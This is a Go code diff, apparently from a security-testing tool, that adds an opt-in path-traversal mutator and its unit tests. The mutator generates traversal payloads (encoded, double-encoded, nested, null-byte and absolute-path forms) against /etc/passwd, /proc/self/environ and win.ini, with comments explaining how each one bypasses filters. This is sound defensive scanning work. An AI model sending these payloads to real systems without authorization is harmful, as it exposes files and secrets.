+// concatenate the segment onto a base directory without
+// canonicalisation (`filepath.Join` in Go strips it; many language
+// runtimes do not).
+//
+// - dot-dot-encoded: percent-encoded `..%2f` traversal. Bypasses
+// middleware that filters the literal `../` but URL-decodes the path
+// before handing it to the file lookup. The url.URL RawPath
+// mechanism keeps `%2f` un-double-encoded on the wire (the same
+// invariant ForbiddenBypass and CacheDeception rely on).
+//
+// - dot-dot-double-encoded: doubly-encoded `..%252f`. Bypasses
+// middleware that URL-decodes ONCE and then filters: the first
+// decode produces `..%2f`, the literal-`../` filter sees no match,
+// a second decode (or a downstream handler that URL-decodes again)
+// produces the real traversal. Common at gateway/handler boundaries
+// that each decode independently.
+//
+// - nested-dot-dot: the `....//` / `....\/` "nested" form that defeats
+// filters which strip a single `../` literal occurrence — after the
+// filter removes one `../`, the remaining bytes collapse back into
+// `../`. A long-standing payload from the Apache / Tomcat traversal
+// advisories that still surfaces on hand-written sanitisers.
+//
+// - null-byte-suffix: appends `%00` after the target. Bypasses
+// extension-allowlist filters in languages whose underlying syscalls
+// (read(2), open(2)) treat NUL as string terminator while the
+// high-level string comparison sees the suffix and decides the path
+// ends in an allowed extension. Affects older PHP/Perl handlers and
+// a long tail of C-backed services; emitted at low cost because
+// %00 is a one-byte addition.
+//
+// - absolute-path: replaces the path with an absolute reference to the
+// target file. Bypasses handlers that strip leading `../` segments
+// but pass the rest through to a `File.open` / `fs.readFile` call
+// that honours absolute paths. The Java `java.io.File` and Node.js
+// `path.resolve` are the canonical victims; ranked separately
+// because the payload shape has no `..` at all.
+//
+// For each technique, one variant is emitted per traversal target. The
+// target set is kept small and high-signal — the files every traversal
+// payload list opens with, covering Linux (`etc/passwd`,
+// `proc/self/environ`) and Windows (`windows/win.ini`). Cross-product
+// is (6 techniques × len(traversalTargets)) variants — bounded and
+// deterministic. The variant ID derived by the planner from the
+// mutation Detail carries both the technique and the target so the
+// offline corpus tests pin every cross-product cell.
+//
+// Every variant keeps the caller's own credentials (Identity == nil):
+// this is emphatically NOT an identity swap. The bug being tested is
+// "the same legitimately-credentialed caller breaks out of the
+// resource subtree the route prefix was supposed to confine them to."
+// Detection rides the existing comparative ladder unchanged: a variant
+// that returns a 2xx response whose body shape diverges sharply from
+// the caller's own baseline (or which contains content markers from
+// the target file the comparative ladder did not see in the owner
+// baseline) is the candidate traversal finding. Findings are class
+// "authz-bypass" (ASVS V12.3 — file & resource control, severity HIGH)
+// — the same class ForbiddenBypass, HostHeader, MethodOverride,
+// CSRFHeader, CookieTamper, HeaderInjection, ParamPollution,
+// OriginSpoof, ContentTypeConfusion, and CacheDeception use.
+//
+// Endpoints whose path is empty or root (`/`) are skipped — there is no
+// final segment to reshape, and the comparative ladder cannot
+// distinguish a root traversal from a root baseline. This mirrors the
+// no-op-skip pattern HostHeader, CacheDeception, and ForbiddenBypass
+// use for degenerate inputs.
+//
+// PathTraversal is OFF by default (Enabled == false). The traversal
+// payloads are active probes that reach OS-sensitive paths and (on a
+// vulnerable target) exfiltrate sensitive file contents, so it only
+// fires when the operator explicitly opts in via --path-traversal.
+// This mirrors the off-by-default gating of XXE, MassAssign,
+// EnumerateID, ForbiddenBypass, WSHijack, CSRFHeader, MethodOverride,
+// HostHeader, CookieTamper, HeaderInjection, ParamPollution,
+// OriginSpoof, ContentTypeConfusion, CacheDeception, and
+// PrototypePollution.
+//
+// Like every mutator, Generate is pure and deterministic: techniques
+// are emitted in sorted-by-name order, targets in sorted order within
+// each technique, so identical inputs yield an identical variant
+// slice.
+type PathTraversal struct {
+ Enabled bool
+}
+
+func (PathTraversal) Name() string { return "path-traversal" }
+
+// traversalTargets is the canonical, sorted list of high-signal
+// traversal target files. Kept small (Linux + Windows + Linux-runtime)
+// because variant count is (techniques × targets) and the comparative
+// ladder benefits from a focused, attributable payload set rather than
+// a brute-forced wordlist. Sorted alphabetically so emission order is
+// deterministic without an at-call-site sort; the order test covers
+// this. Path components are joined with "/" — Windows targets still
+// use forward slashes because the traversal payload is constructed on
+// the wire (where both Windows IIS and Node.js servers accept
+// forward-slash-separated traversal as well as backslash-separated).
+var traversalTargets = []string{
+ // Linux passwd database — the universal "you got file read" canary.
+ "etc/passwd",
+ // Linux per-process environ — frequently exposes secrets injected
+ // via the parent shell (DB URLs, API tokens).
+ "proc/self/environ",
+ // Windows initialisation file — the universal Windows file-read
+ // canary, present on every Windows host since NT.
+ "windows/win.ini",
+}
+
+// traversalDepth is the number of `../` segments injected per payload.
+// Six levels reaches the filesystem root from a typical
+// `/var/www/app/handler/segment` request path on Linux and
+// `C:\Inetpub\wwwroot\app\handler\segment` on Windows — enough headroom
+// for the deepest deployment shapes without ballooning the payload.
+// Kept as a package constant so the variant ID is stable across runs
+// and across builds.
+const traversalDepth = 6
+
+func (pt PathTraversal) Generate(base *model.CapturedRequest, _ *model.RoleMatrix) []model.Variant {
+ if !pt.Enabled || base == nil || base.URL == nil {
+ return nil
+ }
+
+ origPath := base.URL.Path
+ // Skip root / empty paths: there is no final segment to reshape and
+ // the comparative ladder cannot classify a root-against-root probe.
+ if origPath == "" || origPath == "/" {
+ return nil
+ }
+
+ // Compute the base directory the traversal rides on: everything up
+ // to and including the final "/". For "/api/files/photo.jpg" the
+ // base is "/api/files/"; the traversal replaces the trailing
+ // segment ("photo.jpg") so the rewritten path is
+ // "/api/files/" + "../../..etc/passwd" → "/api/files/../../etc/passwd"
+ // which a non-canonicalising file lookup resolves to "/etc/passwd".
+ base_ := origPath
+ if i := strings.LastIndexByte(origPath, '/'); i >= 0 {
+ base_ = origPath[:i+1]
+ } else {
+ base_ = "/"
+ }
+
+ // Deterministic copies sorted alphabetically. The order test pins
+ // both invariants.
+ targets := append([]string(nil), traversalTargets...)
+ sort.Strings(targets)
+
+ // Technique names, sorted so the outer-loop cross-product emission
+ // order is stable regardless of insertion order below. Pinned by
+ // the order test.
+ techniques := []string{
+ "absolute-path",
+ "dot-dot-double-encoded",
+ "dot-dot-encoded",
+ "dot-dot-slash",
+ "nested-dot-dot",
+ "null-byte-suffix",
+ }
+ sort.Strings(techniques)
+
+ var out []model.Variant
+ for _, tech := range techniques {
+ for _, tgt := range targets {
+ decoded, escaped, ok := buildTraversalPath(tech, base_, tgt)
+ if !ok {
+ continue
+ }
+ // Guard against a transform that happened to produce the same
+ // wire path as the original (e.g. a degenerate input). The
+ // comparative ladder cannot distinguish a byte-identical
+ // variant from the baseline; mirrors the no-op-skip every
+ // path-mutating mutator uses.
+ if escaped == origPath {
+ continue
+ }
+ req := CloneRequest(base)
+ cloneURL(req, base)
+ req.URL.Path = decoded
+ // RawPath is honoured by url.URL.String() only when it is a
+ // valid escaping of Path; the encoded / double-encoded /
+ // null-byte techniques rely on this to reach the wire with
+ // their percent-encoded payloads un-double-encoded (the
+ // same invariant ForbiddenBypass and CacheDeception use).
+ req.URL.RawPath = escaped
+
+ out = append(out, model.Variant{
+ Base: req,
+ Identity: nil, // credentials unchanged — same permitted caller
+ Mutation: model.Mutation{
+ Type: "path-traversal",
+ Description: "reshape path (" + tech + ":" + tgt +
+ ") to escape resource scope via directory traversal",
+ Detail: map[string]string{
+ "path-traversal": tech + ":" + tgt,
+ "technique": tech + ":" + tgt,
+ "shape": tech,
+ "target": tgt,
+ "path_from": origPath,
+ "path_to": escaped,
+ },
+ Class: "authz-bypass",
+ },
+ })
+ }
+ }
+
+ return out
+}
+
+// buildTraversalPath returns (decoded, escaped, ok) for a given technique +
+// base directory + target file. The decoded form is what url.URL.Path
+// holds (the form a non-encoding-aware logger or comparator sees); the
+// escaped form is what goes on the wire via url.URL.RawPath. The two are
+// identical for techniques that inject no percent-encoding (dot-dot-slash,
+// nested-dot-dot, absolute-path); the encoded / double-encoded /
+// null-byte techniques set them deliberately so the percent-encoded
+// payload survives un-double-encoded to the wire.
+//
+// The function is pure — no I/O, no time-dependent state — and is
+// exported (lowercase, package-private) to the test file so individual
+// techniques can be unit-tested without going through Generate.
+func buildTraversalPath(technique, baseDir, target string) (decoded, escaped string, ok bool) {
+ if baseDir == "" || target == "" {
+ return "", "", false
+ }
+ switch technique {
+ case "dot-dot-slash":
+ // /api/files/ -> /api/files/../../../../../../etc/passwd
+ // Literal `../` chain; the most direct payload.
+ p := baseDir + strings.Repeat("../", traversalDepth) + target
+ return p, p, true
+
+ case "dot-dot-encoded":
+ // /api/files/ -> /api/files/..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
+ // Decoded form keeps the real "/" (the file lookup sees the
+ // traversal); the escaped form carries the literal %2f so the
+ // gateway's literal-`../` filter does not see the match.
+ decodedPath := baseDir + strings.Repeat("../", traversalDepth) + target
+ escapedPath := baseDir + strings.Repeat("..%2f", traversalDepth) + target
+ return decodedPath, escapedPath, true
+
+ case "dot-dot-double-encoded":
+ // /api/files/ -> /api/files/..%252f..%252f...etc/passwd
+ // Twice-encoded. A gateway that decodes once sees ..%2f (still
+ // not the literal `../` filter target); the downstream handler
+ // decodes a second time and the real `../` reaches the file
+ // lookup. Decoded form mirrors single-encoded for the
+ // comparative ladder (the `%25` is the encoding of `%`, which
+ // after one decode becomes `%2f`; url.URL.Path holds the
+ // single-decoded view).
+ decodedPath := baseDir + strings.Repeat("..%2f", traversalDepth) + target
+ escapedPath := baseDir + strings.Repeat("..%252f", traversalDepth) + target
+ return decodedPath, escapedPath, true
+
+ case "nested-dot-dot":
+ // /api/files/ -> /api/files/....//....//....//etc/passwd
+ // Each `....//` collapses to `../` after a single-pass filter
+ // strips a `../` literal; the same payload defeats hand-written
+ // `replace("../", "")` sanitisers.
+ p := baseDir + strings.Repeat("....//", traversalDepth) + target
+ return p, p, true
+
+ case "null-byte-suffix":
+ // /api/files/ -> /api/files/../../...etc/passwd%00
+ // Bypasses extension-allowlist filters in C-backed handlers:
+ // the high-level string comparison sees a (post-NUL) suffix and
+ // approves; read(2)/open(2) terminate the path at NUL.
+ decodedPath := baseDir + strings.Repeat("../", traversalDepth) + target + "\x00"
+ escapedPath := baseDir + strings.Repeat("../", traversalDepth) + target + "%00"
+ return decodedPath, escapedPath, true
+
+ case "absolute-path":
+ // /api/files/ -> /etc/passwd
+ // No `..` at all; the payload is the absolute path the
+ // downstream `File.open` / `path.resolve` will honour
+ // verbatim. The escaped form is identical to the decoded form
+ // (no percent-encoding injected).
+ p := "/" + target
+ return p, p, true
+ }
+ return "", "", false
+}
+
+// pathTraversalTechnique is a small helper used in tests to assert a
+// mutation's technique without depending on the Detail map layout from
+// outside the package. Kept here so the technique-key contract lives next
+// to its producer (the same pattern hostHeaderTechnique,
+// originSpoofTechnique, and cacheDeceptionTechnique establish).
+func pathTraversalTechnique(m model.Mutation) string {
+ if m.Detail == nil {
+ return ""
+ }
+ return strings.TrimSpace(m.Detail["technique"])
+}
diff --git a/internal/mutate/path_traversal_test.go b/internal/mutate/path_traversal_test.go
new file mode 100644
index 0000000..b45224b
--- /dev/null
+++ b/internal/mutate/path_traversal_test.go
@@ -0,0 +1,422 @@
+package mutate
+
+import (
+ "net/http"
+ "net/url"
+ "sort"
+ "strings"
+ "testing"
+
+ "github.com/bugsyhewitt/possession/internal/model"
+)
+
+// ptReq builds a captured GET request authenticated as alice against a
+// per-user file endpoint. Used as the canonical input across the
+// path-traversal tests.
+func ptReq(t *testing.T) *model.CapturedRequest {
+ t.Helper()
+ u, _ := url.Parse("https://api.example.com/api/files/photo.jpg")
+ h := http.Header{}
+ h.Set("Authorization", "Bearer alice-token")
+ return &model.CapturedRequest{
+ ID: "alice-photo",
+ Method: "GET",
+ URL: u,
+ Headers: h,
+ }
+}
+
+// ptTechniques indexes variants by their technique string for assertion
+// lookup. Mirrors hhTechniques / cdTechniques from sibling mutator tests.
+func ptTechniques(vs []model.Variant) map[string]model.Variant {
+ out := make(map[string]model.Variant, len(vs))
+ for _, v := range vs {
+ out[pathTraversalTechnique(v.Mutation)] = v
+ }
+ return out
+}
+
+func TestPathTraversal_DisabledByDefault(t *testing.T) {
+ if vs := (PathTraversal{}).Generate(ptReq(t), nil); len(vs) != 0 {
+ t.Fatalf("path-traversal must be off by default; got %d variants", len(vs))
+ }
+}
+
+func TestPathTraversal_NilBaseSafe(t *testing.T) {
+ if vs := (PathTraversal{Enabled: true}).Generate(nil, nil); vs != nil {
+ t.Errorf("nil base must yield nil variants; got %v", vs)
+ }
+}
+
+func TestPathTraversal_NilURLSafe(t *testing.T) {
+ req := ptReq(t)
+ req.URL = nil
+ if vs := (PathTraversal{Enabled: true}).Generate(req, nil); vs != nil {
+ t.Errorf("nil URL must yield nil variants; got %v", vs)
+ }
+}
+
+// Root or empty path produces no variants — there is no trailing
+// segment to reshape, and the comparative ladder cannot classify a
+// root-against-root probe. Mirrors the no-op-skip pattern HostHeader
+// and CacheDeception use.
+func TestPathTraversal_RootPathSkipped(t *testing.T) {
+ for _, p := range []string{"", "/"} {
+ req := ptReq(t)
+ u, _ := url.Parse("https://api.example.com" + p)
+ req.URL = u
+ if vs := (PathTraversal{Enabled: true}).Generate(req, nil); len(vs) != 0 {
+ t.Errorf("path %q must yield 0 variants; got %d", p, len(vs))
+ }
+ }
+}
+
+// Every variant must keep the caller's own credentials (Identity == nil):
+// this is a same-caller scope-escape probe, NOT an identity swap.
+// Mirrors the equivalent assertion in cache_deception_test.go and
+// host_header_test.go.
+func TestPathTraversal_KeepsCallerCredentials(t *testing.T) {
+ vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ if len(vs) == 0 {
+ t.Fatal("expected variants for an enabled path-traversal mutator")
+ }
+ for _, v := range vs {
+ tech := pathTraversalTechnique(v.Mutation)
+ if v.Identity != nil {
+ t.Errorf("technique %q: Identity must be nil (same caller); got %v", tech, v.Identity)
+ }
+ if v.Base.Headers.Get("Authorization") != "Bearer alice-token" {
+ t.Errorf("technique %q: caller credentials altered; Authorization=%q",
+ tech, v.Base.Headers.Get("Authorization"))
+ }
+ if v.Mutation.Type != "path-traversal" {
+ t.Errorf("technique %q: Type = %q; want path-traversal", tech, v.Mutation.Type)
+ }
+ if v.Mutation.Class != "authz-bypass" {
+ t.Errorf("technique %q: Class = %q; want authz-bypass", tech, v.Mutation.Class)
+ }
+ }
+}
+
+// The full cross-product is (6 techniques × 3 traversal targets) = 18
+// variants. Pins both the technique count and the target set; either
+// drifting silently is the failure mode this test is here to prevent.
+func TestPathTraversal_FullCrossProduct(t *testing.T) {
+ vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ wantTechs := 6
+ wantTargets := len(traversalTargets)
+ want := wantTechs * wantTargets
+ if len(vs) != want {
+ t.Errorf("variant count = %d; want %d (%d techniques × %d targets)",
+ len(vs), want, wantTechs, wantTargets)
+ }
+ // Each technique must appear exactly len(targets) times.
+ techCounts := map[string]int{}
+ for _, v := range vs {
+ techCounts[v.Mutation.Detail["shape"]]++
+ }
+ for _, s := range []string{"dot-dot-slash", "dot-dot-encoded", "dot-dot-double-encoded", "nested-dot-dot", "null-byte-suffix", "absolute-path"} {
+ if techCounts[s] != wantTargets {
+ t.Errorf("technique %q: %d variants; want %d (one per target)",
+ s, techCounts[s], wantTargets)
+ }
+ }
+ // Each target must appear exactly wantTechs times.
+ tgtCounts := map[string]int{}
+ for _, v := range vs {
+ tgtCounts[v.Mutation.Detail["target"]]++
+ }
+ for _, tgt := range traversalTargets {
+ if tgtCounts[tgt] != wantTechs {
+ t.Errorf("target %q: %d variants; want %d (one per technique)",
+ tgt, tgtCounts[tgt], wantTechs)
+ }
+ }
+}
+
+// dot-dot-slash decorates the URL as /../../.... Decoded
+// and escaped forms are identical (no percent-encoding injected).
+func TestPathTraversal_DotDotSlashShape(t *testing.T) {
+ vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ tech := ptTechniques(vs)
+ v, ok := tech["dot-dot-slash:etc/passwd"]
+ if !ok {
+ t.Fatal("missing dot-dot-slash:etc/passwd variant")
+ }
+ wantPath := "/api/files/" + strings.Repeat("../", traversalDepth) + "etc/passwd"
+ if v.Base.URL.Path != wantPath {
+ t.Errorf("Path = %q; want %q", v.Base.URL.Path, wantPath)
+ }
+ if v.Base.URL.RawPath != wantPath {
+ t.Errorf("RawPath = %q; want %q (no encoding injected)", v.Base.URL.RawPath, wantPath)
+ }
+ if v.Mutation.Detail["path_from"] != "/api/files/photo.jpg" {
+ t.Errorf("path_from = %q", v.Mutation.Detail["path_from"])
+ }
+}
+
+// dot-dot-encoded decorates the URL with %2f-encoded path separators in
+// the traversal chain. The Path field holds the decoded view (real "/"),
+// the RawPath field holds the literal %2f escape so url.URL.String()
+// emits it un-double-encoded on the wire.
+func TestPathTraversal_DotDotEncodedShape(t *testing.T) {
+ vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ tech := ptTechniques(vs)
+ v, ok := tech["dot-dot-encoded:etc/passwd"]
+ if !ok {
+ t.Fatal("missing dot-dot-encoded:etc/passwd variant")
+ }
+ if !strings.Contains(v.Base.URL.RawPath, "..%2f") {
+ t.Errorf("RawPath = %q; want literal ..%%2f on the wire", v.Base.URL.RawPath)
+ }
+ // Sanity: url.URL.String() must emit the %2f form un-double-encoded.
+ if strings.Contains(v.Base.URL.String(), "%252f") {
+ t.Errorf("URL.String() = %q; %%2f was double-encoded to %%252f", v.Base.URL.String())
+ }
+ if !strings.Contains(v.Base.URL.String(), "%2f") {
+ t.Errorf("URL.String() = %q; want literal %%2f on the wire", v.Base.URL.String())
+ }
+}
+
+// dot-dot-double-encoded carries `..%252f` on the wire. The decoded
+// view contains `..%2f` (the single-decoded form a comparator would
+// see); the escaped form keeps `..%252f` so url.URL.String() emits the
+// double-encoded payload verbatim — a downstream handler that decodes
+// twice recovers `../`.
+func TestPathTraversal_DotDotDoubleEncodedShape(t *testing.T) {
+ vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ tech := ptTechniques(vs)
+ v, ok := tech["dot-dot-double-encoded:windows/win.ini"]
+ if !ok {
+ t.Fatal("missing dot-dot-double-encoded:windows/win.ini variant")
+ }
+ if !strings.Contains(v.Base.URL.RawPath, "..%252f") {
+ t.Errorf("RawPath = %q; want literal ..%%252f on the wire", v.Base.URL.RawPath)
+ }
+ if !strings.Contains(v.Base.URL.String(), "%252f") {
+ t.Errorf("URL.String() = %q; want literal %%252f on the wire", v.Base.URL.String())
+ }
+}
+
+// nested-dot-dot decorates the URL with `....//` repeats — the form
+// that defeats single-pass filters which strip `../` literals.
+// Decoded and escaped forms are identical (no percent-encoding).
+func TestPathTraversal_NestedDotDotShape(t *testing.T) {
+ vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ tech := ptTechniques(vs)
+ v, ok := tech["nested-dot-dot:etc/passwd"]
+ if !ok {
+ t.Fatal("missing nested-dot-dot:etc/passwd variant")
+ }
+ wantPath := "/api/files/" + strings.Repeat("....//", traversalDepth) + "etc/passwd"
+ if v.Base.URL.Path != wantPath {
+ t.Errorf("Path = %q; want %q", v.Base.URL.Path, wantPath)
+ }
+ if v.Base.URL.RawPath != wantPath {
+ t.Errorf("RawPath = %q; want %q", v.Base.URL.RawPath, wantPath)
+ }
+}
+
+// null-byte-suffix appends %00 to the target. The decoded view carries
+// a literal NUL byte (the form a downstream handler sees after URL
+// decoding); the escaped view carries the literal %00 so the wire form
+// is unambiguous.
+func TestPathTraversal_NullByteSuffixShape(t *testing.T) {
+ vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ tech := ptTechniques(vs)
+ v, ok := tech["null-byte-suffix:proc/self/environ"]
+ if !ok {
+ t.Fatal("missing null-byte-suffix:proc/self/environ variant")
+ }
+ if !strings.HasSuffix(v.Base.URL.RawPath, "proc/self/environ%00") {
+ t.Errorf("RawPath = %q; want suffix proc/self/environ%%00", v.Base.URL.RawPath)
+ }
+ if !strings.HasSuffix(v.Base.URL.Path, "proc/self/environ\x00") {
+ t.Errorf("Path = %q; want literal NUL suffix on the decoded view", v.Base.URL.Path)
+ }
+ if !strings.Contains(v.Base.URL.String(), "%00") {
+ t.Errorf("URL.String() = %q; want literal %%00 on the wire", v.Base.URL.String())
+ }
+}
+
+// absolute-path replaces the entire path with the absolute target.
+// Decoded and escaped forms are identical (no percent-encoding); the
+// payload has no `..` segments at all — distinct from every other
+// technique in this set.
+func TestPathTraversal_AbsolutePathShape(t *testing.T) {
+ vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ tech := ptTechniques(vs)
+ v, ok := tech["absolute-path:etc/passwd"]
+ if !ok {
+ t.Fatal("missing absolute-path:etc/passwd variant")
+ }
+ wantPath := "/etc/passwd"
+ if v.Base.URL.Path != wantPath {
+ t.Errorf("Path = %q; want %q", v.Base.URL.Path, wantPath)
+ }
+ if v.Base.URL.RawPath != wantPath {
+ t.Errorf("RawPath = %q; want %q", v.Base.URL.RawPath, wantPath)
+ }
+ if strings.Contains(v.Base.URL.Path, "..") {
+ t.Errorf("absolute-path payload must contain no `..`; got %q", v.Base.URL.Path)
+ }
+}
+
+// A path with a trailing slash (a directory-shaped endpoint) still
+// produces variants — the base directory IS the path itself, and the
+// traversal hangs off it cleanly with no double-slash.
+func TestPathTraversal_TrailingSlashHandling(t *testing.T) {
+ req := ptReq(t)
+ u, _ := url.Parse("https://api.example.com/api/files/")
+ req.URL = u
+ vs := (PathTraversal{Enabled: true}).Generate(req, nil)
+ if len(vs) == 0 {
+ t.Fatal("trailing-slash path must still produce traversal variants")
+ }
+ for _, v := range vs {
+ if strings.Contains(v.Base.URL.Path, "//") &&
+ v.Mutation.Detail["shape"] != "nested-dot-dot" {
+ // nested-dot-dot intentionally contains `//` as part of its
+ // payload (`....//`); every other technique must not double-slash.
+ t.Errorf("technique %q: variant Path = %q contains double slash",
+ v.Mutation.Detail["shape"], v.Base.URL.Path)
+ }
+ }
+}
+
+// The baseline URL is NEVER mutated by Generate — every variant gets
+// its own URL via cloneURL. Mirrors the equivalent invariant tested in
+// host_header_test.go and cache_deception_test.go.
+func TestPathTraversal_BaselineURLNotMutated(t *testing.T) {
+ req := ptReq(t)
+ origPath := req.URL.Path
+ origRawPath := req.URL.RawPath
+ _ = (PathTraversal{Enabled: true}).Generate(req, nil)
+ if req.URL.Path != origPath {
+ t.Errorf("baseline URL.Path mutated: %q → %q", origPath, req.URL.Path)
+ }
+ if req.URL.RawPath != origRawPath {
+ t.Errorf("baseline URL.RawPath mutated: %q → %q", origRawPath, req.URL.RawPath)
+ }
+}
+
+// Generate must be deterministic: identical input yields an identical
+// variant slice (same techniques in the same order). Pins the
+// "sorted-by-name" emission contract.
+func TestPathTraversal_Deterministic(t *testing.T) {
+ a := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ b := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ if len(a) != len(b) {
+ t.Fatalf("non-deterministic length: %d vs %d", len(a), len(b))
+ }
+ for i := range a {
+ ta := pathTraversalTechnique(a[i].Mutation)
+ tb := pathTraversalTechnique(b[i].Mutation)
+ if ta != tb {
+ t.Errorf("pos %d: non-deterministic technique %q vs %q", i, ta, tb)
+ }
+ if a[i].Mutation.Description != b[i].Mutation.Description {
+ t.Errorf("pos %d: non-deterministic description %q vs %q",
+ i, a[i].Mutation.Description, b[i].Mutation.Description)
+ }
+ }
+}
+
+// Technique names are emitted in sorted order (the outer loop of the
+// cross-product) so generation order is stable across builds. Within a
+// technique, targets are emitted in sorted order; both invariants are
+// pinned here.
+func TestPathTraversal_SortedTechniquesAndTargets(t *testing.T) {
+ vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ var seenTechs []string
+ last := ""
+ for _, v := range vs {
+ s := v.Mutation.Detail["shape"]
+ if s != last {
+ seenTechs = append(seenTechs, s)
+ last = s
+ }
+ }
+ if !sort.StringsAreSorted(seenTechs) {
+ t.Errorf("techniques emitted out of order: %v", seenTechs)
+ }
+ byTech := map[string][]string{}
+ for _, v := range vs {
+ byTech[v.Mutation.Detail["shape"]] = append(byTech[v.Mutation.Detail["shape"]], v.Mutation.Detail["target"])
+ }
+ for tech, tgts := range byTech {
+ if !sort.StringsAreSorted(tgts) {
+ t.Errorf("technique %q: targets emitted out of order: %v", tech, tgts)
+ }
+ }
+}
+
+// The Name() string is the public identifier used by the registry, by the
+// reporter, and by allowlist suppressions. It must be stable — changing it
+// silently invalidates existing allowlist entries operators have written
+// against the tool's output. Mirrors the equivalent assertion in every
+// sibling mutator's test file.
+func TestPathTraversal_Name(t *testing.T) {
+ if got := (PathTraversal{}).Name(); got != "path-traversal" {
+ t.Errorf("Name() = %q; want path-traversal", got)
+ }
+}
+
+// path-traversal must NOT be in the DefaultRegistry — it is registered
+// separately by buildRegistry as an opt-in mutator. Mirrors the
+// equivalent assertion every other off-by-default mutator has against
+// DefaultRegistry.
+func TestPathTraversal_NotInDefaultRegistry(t *testing.T) {
+ for _, n := range DefaultRegistry().Names() {
+ if n == "path-traversal" {
+ t.Fatalf("path-traversal must NOT be in DefaultRegistry() (off-by-default mutator)")
+ }
+ }
+}
+
+// buildTraversalPath returns ok=false for an unknown technique so the
+// caller (Generate) skips emission silently rather than synthesising a
+// degenerate variant.
+func TestPathTraversal_UnknownTechniqueSkipped(t *testing.T) {
+ if _, _, ok := buildTraversalPath("nonsense-technique", "/api/files/", "etc/passwd"); ok {
+ t.Error("unknown technique must return ok=false")
+ }
+}
+
+// An empty baseDir or empty target yields ok=false: defensive guards
+// against degenerate inputs the caller could otherwise propagate to
+// the wire.
+func TestPathTraversal_DegenerateInputsSkipped(t *testing.T) {
+ if _, _, ok := buildTraversalPath("dot-dot-slash", "", "etc/passwd"); ok {
+ t.Error("empty baseDir must return ok=false")
+ }
+ if _, _, ok := buildTraversalPath("dot-dot-slash", "/api/files/", ""); ok {
+ t.Error("empty target must return ok=false")
+ }
+}
+
+// PathTraversal is disjoint from ForbiddenBypass's traversal-semicolon
+// technique: ForbiddenBypass reshapes the path to resolve back to the
+// SAME handler (`/admin/..;/admin`), PathTraversal escapes the resource
+// scope entirely (`/admin/../../etc/passwd`). The mutation Type and
+// the payload shape MUST differ.
+func TestPathTraversal_DisjointFromForbiddenBypass(t *testing.T) {
+ ptVariants := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil)
+ for _, v := range ptVariants {
+ if v.Mutation.Type == "forbidden-bypass" {
+ t.Errorf("path-traversal variant must not carry forbidden-bypass type; got %q",
+ v.Mutation.Type)
+ }
+ // No path-traversal payload should resolve back to the original
+ // resource collection (`/api/files/`): every payload either
+ // escapes via `..` segments or jumps to an absolute path.
+ if v.Mutation.Detail["shape"] == "absolute-path" {
+ continue // absolute-path replaces the path wholesale
+ }
+ if !strings.Contains(v.Base.URL.Path, "..") &&
+ !strings.Contains(v.Base.URL.RawPath, "..") {
+ t.Errorf("technique %q: neither Path nor RawPath contains `..`; payload does not escape scope",
+ v.Mutation.Detail["shape"])
+ }
+ }
+}